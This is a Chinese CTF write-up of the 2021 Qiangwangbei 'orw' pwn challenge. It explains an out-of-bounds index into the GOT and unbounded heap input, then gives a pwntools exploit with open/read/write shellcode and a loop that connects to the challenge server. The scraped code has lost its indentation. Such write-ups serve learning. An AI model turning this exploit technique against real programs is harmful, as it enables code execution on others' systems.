2021强网杯PWN

复现来源:

https://blog.csdn.net/eeeeeight/article/details/118006138

https://cloud.tencent.com/developer/article/1839670

orw

image-20210914154341329

checksec一下,64位,堆栈可执行

进入IDA,只存在申请和释放堆块的功能,其中,申请最多两次,释放只有一次。

image-20210914155156145

image-20210914155132957

首先,没有检查索引下限,所以存在数组越界,可以越界到got表。然后输入函数中,如果我们在输入size时,直接输入’\n’,将会让size直接为0,而如果size为0了,在往堆里面输入数据是就可以无限输入,因为在检验那里,buf一旦获得跟ptr一样的地址,而buf又要先自加,才就会导致一直都将大于ptr,验证一直都是没有问题的

image-20210914155508246

程序有沙箱,所以就是orw。加上前面发现的漏洞点,结合起来就是,通过数组越界,将堆块指针写入到函数的got表里面,然后因为无限输入,堆块又可执行,所以往堆块里面写入shellcode,最后就是调用被修改函数,转而去执行shellcode来读取flag

然后呢,本地复现不了,暂时不知道该怎么让文件去链接上题目给的seccomp文件,所以只能讲讲思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./orw')
elf=ELF('./orw')
libc=elf.libc
context(os='linux',arch='amd64')

def pwn():
shellcode='''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
mov rdi, 0x67616c662f2e
push rdi
mov rdi, rsp
syscall

mov rdx, 0x100
mov rsi, rdi
mov rdi, rax
mov rax, 0
syscall

mov rdi, 1
mov rax, 1
syscall
'''
sh.recv()
sh.sendline('1')
sh.recvuntil('index:')
sh.sendline('-25')
sh.recvuntil('size:')
sh.sendline('')
sh.recvuntil('content:')
sh.sendline(asm(shellcode))
sh.recv()
sh.sendline('4')
sh.recv()
sh.sendline('1')
sh.interactive()

if __name__=="__main__":
while True:
sh=process('./orw')
sh=remote('39.105.131.68',12354)
try:
pwn()
except:
sh.close()

查看评论